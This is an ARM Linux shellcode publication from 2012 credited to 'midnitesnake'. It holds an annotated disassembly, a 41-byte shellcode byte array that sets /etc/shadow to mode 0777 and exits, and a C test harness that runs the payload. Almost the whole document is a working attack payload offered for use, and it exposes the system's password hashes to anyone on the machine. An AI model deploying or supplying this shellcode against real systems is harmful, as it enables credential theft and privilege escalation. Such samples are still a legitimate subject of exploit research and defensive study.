/*
Title:     Linux/ARM - chmod("/etc/shadow", 0777) - 41 bytes
Date:      2012-09-08
Tested on: ARM1176JZF-S (v6l)
Author:    midnitesnake

00008054 <_start>:
    8054:	e28f6001 	add	r6, pc, #1
    8058:	e12fff16 	bx	r6
    805c:	4678      	mov	r0, pc
    805e:	3012      	adds	r0, #18
    8060:	21ff      	movs	r1, #255	; 0xff
    8062:	31ff      	adds	r1, #255	; 0xff
    8064:	3101      	adds	r1, #1
    8066:	270f      	movs	r7, #15
    8068:	df01      	svc	1
    806a:	1b24      	subs	r4, r4, r4
    806c:	1c20      	adds	r0, r4, #0
    806e:	2701      	movs	r7, #1
    8070:	df01      	svc	1
    8072:	652f      	.short	0x652f
    8074:	732f6374 	.word	0x732f6374
    8078:	6f646168 	.word	0x6f646168
    807c:	46c00077 	.word	0x46c00077
*/
#include <stdio.h>


char shellcode[] = "\x01\x60\x8f\xe2"
                   "\x16\xff\x2f\xe1"
		   "\x78\x46"
		   "\x12\x30"
                   "\xff\x21"
		   "\xff\x31"
                   "\x01\x31"
		   "\x0f\x27"
                   "\x01\xdf"
		   "\x24\x1b"
		   "\x20\x1c"
		   "\x01\x27"
		   "\x01\xdf"
		   "\x2f\x65"
		   "\x74\x63\x2f\x73"
		   "\x68\x61\x64\x6f"
		   "\x77\x00"
		   "\xc0\x46";

int main()
{
	fprintf(stdout,"Length: %d\n",strlen(shellcode));
        (*(void(*)()) shellcode)();

return 0;
}